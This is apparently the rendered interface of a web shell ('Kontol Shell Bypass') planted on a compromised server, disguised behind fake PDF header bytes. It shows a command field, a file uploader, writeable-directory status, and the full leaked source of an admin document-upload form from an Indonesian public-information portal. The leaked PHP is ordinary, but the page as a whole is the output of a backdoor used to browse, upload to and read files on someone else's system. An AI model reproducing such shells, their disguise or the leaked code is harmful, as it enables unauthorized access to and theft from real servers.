%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/dokumen-form.php
<?php
/**
 * Admin: form tambah / edit dokumen informasi publik.
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_once dirname(__DIR__) . '/includes/queries.php';
require_once dirname(__DIR__) . '/includes/upload.php';
require_admin();

$id    = (int) get_param('id', '0');
$isEdit = $id > 0;
$kategoriList  = get_kategori();
$direktoriList = get_direktori_list();
$errors = [];

// Scope UPD: admin UPD terkunci pada unitnya; admin pusat bebas memilih.
$scopeUpd = is_upd_admin() ? current_upd_id() : null;
$updList  = get_upd_list();

// Nilai awal.
$data = [
    'kategori_id'  => (int) get_param('kategori', '0'),
    'upd_id'       => $scopeUpd, // default: UPD admin → unitnya; pusat → null (PPID Utama)
    'direktori_id' => 0,
    'judul'       => '',
    'deskripsi'   => '',
    'tahun'       => date('Y'),
    'unit_kerja'  => '',
    'status'      => 'publish',
];

if ($isEdit) {
    $dok = get_dokumen($id);
    if (!$dok) {
        set_flash('error', 'Dokumen tidak ditemukan.');
        redirect('admin/dokumen.php');
    }
    // Otorisasi: admin UPD hanya boleh mengelola dokumen unitnya sendiri.
    if (is_upd_admin() && (int) ($dok['upd_id'] ?? 0) !== (int) current_upd_id()) {
        set_flash('error', 'Anda tidak memiliki hak untuk mengelola dokumen unit lain.');
        redirect('admin/dokumen.php');
    }
    $data = [
        'kategori_id'  => (int) $dok['kategori_id'],
        'upd_id'       => $dok['upd_id'] !== null ? (int) $dok['upd_id'] : null,
        'direktori_id' => (int) ($dok['direktori_id'] ?? 0),
        'judul'       => $dok['judul'],
        'deskripsi'   => $dok['deskripsi'],
        'tahun'       => $dok['tahun'],
        'unit_kerja'  => $dok['unit_kerja'],
        'status'      => $dok['status'],
    ];
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify();
    // Tentukan UPD: admin UPD dipaksa ke unitnya; pusat sesuai pilihan.
    if ($scopeUpd !== null) {
        $updId = $scopeUpd;
    } else {
        $rawUpd = post_param('upd_id');
        $updId  = (ctype_digit($rawUpd) && (int) $rawUpd > 0 && get_upd((int) $rawUpd)) ? (int) $rawUpd : null;
    }

    $data = [
        'kategori_id'  => (int) post_param('kategori_id'),
        'upd_id'       => $updId,
        'direktori_id' => (int) post_param('direktori_id'),
        'judul'       => post_param('judul'),
        'deskripsi'   => post_param('deskripsi'),
        'tahun'       => post_param('tahun'),
        'unit_kerja'  => post_param('unit_kerja'),
        'status'      => post_param('status', 'publish'),
    ];

    $dirRow = ($data['direktori_id'] > 0) ? get_direktori($data['direktori_id']) : null;
    if ($dirRow && !empty($dirRow['kategori_id'])) {
        $data['kategori_id'] = (int) $dirRow['kategori_id'];
    }

    if ($data['judul'] === '') {
        $errors['judul'] = 'Judul dokumen wajib diisi.';
    }
    if (!get_kategori_by_id($data['kategori_id'])) {
        $errors['kategori_id'] = 'Kategori wajib dipilih.';
    }
    if ($data['tahun'] !== '' && !preg_match('/^\d{4}$/', $data['tahun'])) {
        $errors['tahun'] = 'Tahun harus 4 digit.';
    }
    if (!in_array($data['status'], ['publish', 'draft'], true)) {
        $data['status'] = 'publish';
    }

    // Tangani upload berkas (opsional).
    $fileInfo = null;
    if (!empty($_FILES['file']['name'])) {
        $up = handle_upload($_FILES['file'], 'dokumen');
        if (!$up['ok']) {
            $errors['file'] = $up['error'];
        } else {
            $fileInfo = $up;
        }
    }

    if (empty($errors)) {
        $tahun = $data['tahun'] !== '' ? (int) $data['tahun'] : null;
        $dirId = $dirRow ? $data['direktori_id'] : null;

        if ($isEdit) {
            $sql = 'UPDATE dokumen_informasi SET kategori_id=?, upd_id=?, direktori_id=?, judul=?, deskripsi=?, tahun=?, unit_kerja=?, status=?';
            $params = [$data['kategori_id'], $data['upd_id'], $dirId, $data['judul'], $data['deskripsi'], $tahun, $data['unit_kerja'], $data['status']];
            if ($fileInfo) {
                // Hapus berkas lama.
                $old = get_dokumen($id);
                delete_upload('dokumen', $old['file_name'] ?? null);
                $sql .= ', file_name=?, file_original=?, file_size=?, file_mime=?';
                array_push($params, $fileInfo['filename'], $fileInfo['original'], $fileInfo['size'], $fileInfo['mime']);
            }
            $sql .= ' WHERE id=?';
            $params[] = $id;
            db()->prepare($sql)->execute($params);
            set_flash('success', 'Dokumen berhasil diperbarui.');
        } else {
            $stmt = db()->prepare(
                'INSERT INTO dokumen_informasi
                 (kategori_id, upd_id, direktori_id, judul, deskripsi, tahun, unit_kerja, status, file_name, file_original, file_size, file_mime, created_by)
                 VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)'
            );
            $stmt->execute([
                $data['kategori_id'], $data['upd_id'], $dirId, $data['judul'], $data['deskripsi'], $tahun, $data['unit_kerja'], $data['status'],
                $fileInfo['filename'] ?? null, $fileInfo['original'] ?? null, $fileInfo['size'] ?? 0, $fileInfo['mime'] ?? null,
                current_admin()['id'],
            ]);
            set_flash('success', 'Dokumen baru berhasil ditambahkan.');
        }
        redirect('admin/dokumen.php');
    }
}

$pageTitle  = ($isEdit ? 'Edit' : 'Tambah') . ' Dokumen — CMS PPID';
$activeMenu = 'dokumen';
require __DIR__ . '/partials/head.php';

$val = static fn (string $k) => e($data[$k] ?? '');
?>

<div class="mb-6">
    <a href="<?= e(url('admin/dokumen.php')) ?>" class="text-sm text-slate-500 hover:text-mateng-green inline-flex items-center gap-2 mb-3"><i class="fas fa-arrow-left"></i> Kembali ke daftar</a>
    <h2 class="text-2xl font-bold text-slate-900"><?= $isEdit ? 'Edit Dokumen' : 'Tambah Dokumen Baru' ?></h2>
</div>

<form method="post" enctype="multipart/form-data" class="max-w-3xl bg-white border border-slate-100 rounded-xl shadow-sm p-6 sm:p-8 space-y-5">
    <?= csrf_field() ?>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Judul Dokumen <span class="text-red-500">*</span></label>
        <input type="text" name="judul" value="<?= $val('judul') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= isset($errors['judul']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
        <?php if (isset($errors['judul'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['judul']) ?></p><?php endif; ?>
    </div>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Folder / Direktori</label>
        <select name="direktori_id" id="dokDirektori" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100 bg-white">
            <option value="0" data-kategori-id="0">— Tanpa folder (pilih kategori manual) —</option>
            <?php foreach ($direktoriList as $dir): ?>
                <option value="<?= (int) $dir['id'] ?>" data-kategori-id="<?= (int) ($dir['kategori_id'] ?? 0) ?>" <?= (int) $data['direktori_id'] === (int) $dir['id'] ? 'selected' : '' ?>>
                    <?= e($dir['nama']) ?><?= !empty($dir['kategori_nama']) ? ' — ' . e($dir['kategori_nama']) : ' (belum ada kategori)' ?>
                </option>
            <?php endforeach; ?>
        </select>
        <p class="text-xs text-slate-400 mt-1">Pilih folder — <strong>kategori otomatis mengikuti folder</strong>.<?php if (is_central()): ?> Atur folder &amp; kategorinya di <a href="<?= e(url('admin/direktori.php')) ?>" class="text-mateng-blue hover:underline">Master Direktori</a>.<?php endif; ?></p>
    </div>

    <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
        <div>
            <label class="block text-sm font-medium text-slate-700 mb-1.5">Kategori <span class="text-red-500">*</span></label>
            <select name="kategori_id" id="dokKategori" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 bg-white <?= isset($errors['kategori_id']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
                <option value="">— Pilih kategori —</option>
                <?php foreach ($kategoriList as $kat): ?>
                    <option value="<?= (int) $kat['id'] ?>" <?= $data['kategori_id'] == $kat['id'] ? 'selected' : '' ?>>
                        <?= e($kat['nama']) ?><?= $kat['tipe'] === 'regulasi' ? ' (Regulasi)' : '' ?>
                    </option>
                <?php endforeach; ?>
            </select>
            <?php if (isset($errors['kategori_id'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['kategori_id']) ?></p><?php endif; ?>
            <p id="dokKatAuto" class="text-xs text-mateng-blue mt-1 hidden"><i class="fas fa-link mr-1"></i>Terisi otomatis dari folder yang dipilih.</p>
        </div>
        <div>
            <label class="block text-sm font-medium text-slate-700 mb-1.5">Tahun</label>
            <input type="text" name="tahun" value="<?= $val('tahun') ?>" inputmode="numeric" maxlength="4" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= isset($errors['tahun']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
            <?php if (isset($errors['tahun'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['tahun']) ?></p><?php endif; ?>
        </div>
    </div>

    <?php if ($scopeUpd === null): ?>
        <div>
            <label class="block text-sm font-medium text-slate-700 mb-1.5">Unit Perangkat Daerah (PPID Pembantu)</label>
            <select name="upd_id" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100 bg-white">
                <option value="">— PPID Utama (tingkat kabupaten) —</option>
                <?php foreach ($updList as $u): ?>
                    <option value="<?= (int) $u['id'] ?>" <?= (int) ($data['upd_id'] ?? 0) === (int) $u['id'] ? 'selected' : '' ?>>
                        <?= e($u['nama']) ?><?= $u['singkatan'] ? ' (' . e($u['singkatan']) . ')' : '' ?>
                    </option>
                <?php endforeach; ?>
            </select>
            <p class="text-xs text-slate-400 mt-1">Pilih UPD bila dokumen milik PPID Pembantu; biarkan "PPID Utama" untuk dokumen tingkat kabupaten.</p>
        </div>
    <?php else: ?>
        <div class="bg-blue-50 border border-blue-100 rounded-lg px-4 py-3 text-sm text-mateng-blue flex items-center gap-2">
            <i class="fas fa-sitemap"></i> Dokumen akan tercatat untuk unit Anda: <strong><?= e(current_upd_nama()) ?></strong>
        </div>
    <?php endif; ?>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Unit Kerja / Sumber</label>
        <input type="text" name="unit_kerja" value="<?= $val('unit_kerja') ?>" placeholder="Contoh: Bidang, Seksi, atau sumber dokumen" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
    </div>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Deskripsi</label>
        <textarea name="deskripsi" rows="4" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100"><?= $val('deskripsi') ?></textarea>
    </div>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Berkas Dokumen <?= $isEdit ? '<span class="text-xs text-slate-400">(kosongkan jika tidak diubah)</span>' : '' ?></label>
        <?php if ($isEdit && !empty($dok['file_name'])): ?>
            <p class="text-xs text-slate-500 mb-2"><i class="fas <?= e(file_icon($dok['file_original'] ?? '')) ?> mr-1"></i> Berkas saat ini: <?= e($dok['file_original'] ?: $dok['file_name']) ?> (<?= e(format_size((int) $dok['file_size'])) ?>)</p>
        <?php endif; ?>
        <input type="file" name="file" class="w-full text-sm text-slate-600 file:mr-3 file:py-2 file:px-4 file:rounded-lg file:border-0 file:bg-mateng-green/10 file:text-mateng-green file:font-semibold hover:file:bg-mateng-green/20 file:cursor-pointer">
        <?php if (isset($errors['file'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['file']) ?></p><?php endif; ?>
        <p class="text-xs text-slate-400 mt-1">Format: PDF, DOC, XLS, PPT, JPG, PNG, ZIP. Maks <?= format_size(MAX_UPLOAD_SIZE) ?>.</p>
    </div>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Status Publikasi</label>
        <div class="flex gap-3">
            <label class="flex items-center gap-2 px-4 py-2.5 border rounded-lg cursor-pointer <?= $data['status'] === 'publish' ? 'border-mateng-green bg-green-50' : 'border-slate-300' ?>">
                <input type="radio" name="status" value="publish" <?= $data['status'] === 'publish' ? 'checked' : '' ?> class="accent-mateng-green"> <span class="text-sm">Terbitkan</span>
            </label>
            <label class="flex items-center gap-2 px-4 py-2.5 border rounded-lg cursor-pointer <?= $data['status'] === 'draft' ? 'border-mateng-green bg-green-50' : 'border-slate-300' ?>">
                <input type="radio" name="status" value="draft" <?= $data['status'] === 'draft' ? 'checked' : '' ?> class="accent-mateng-green"> <span class="text-sm">Simpan sebagai draf</span>
            </label>
        </div>
    </div>

    <div class="flex gap-3 pt-2">
        <button type="submit" class="bg-mateng-green hover:bg-green-700 text-white font-bold px-6 py-3 rounded-lg transition-colors flex items-center gap-2"><i class="fas fa-save"></i> <?= $isEdit ? 'Perbarui' : 'Simpan' ?> Dokumen</button>
        <a href="<?= e(url('admin/dokumen.php')) ?>" class="bg-slate-100 hover:bg-slate-200 text-slate-700 font-semibold px-6 py-3 rounded-lg transition-colors">Batal</a>
    </div>
</form>

<script>
(function () {
    var dir  = document.getElementById('dokDirektori');
    var kat  = document.getElementById('dokKategori');
    var note = document.getElementById('dokKatAuto');
    if (!dir || !kat) return;
    function sync() {
        var opt = dir.options[dir.selectedIndex];
        var kid = opt ? opt.getAttribute('data-kategori-id') : '0';
        if (dir.value !== '0' && kid && kid !== '0') {
            kat.value = kid;
            kat.setAttribute('disabled', 'disabled');
            kat.classList.add('bg-slate-100', 'text-slate-500', 'cursor-not-allowed');
            if (note) note.classList.remove('hidden');
        } else {
            kat.removeAttribute('disabled');
            kat.classList.remove('bg-slate-100', 'text-slate-500', 'cursor-not-allowed');
            if (note) note.classList.add('hidden');
        }
    }
    dir.addEventListener('change', sync);
    sync();
})();
</script>

<?php require __DIR__ . '/partials/foot.php'; ?>

Kontol Shell Bypass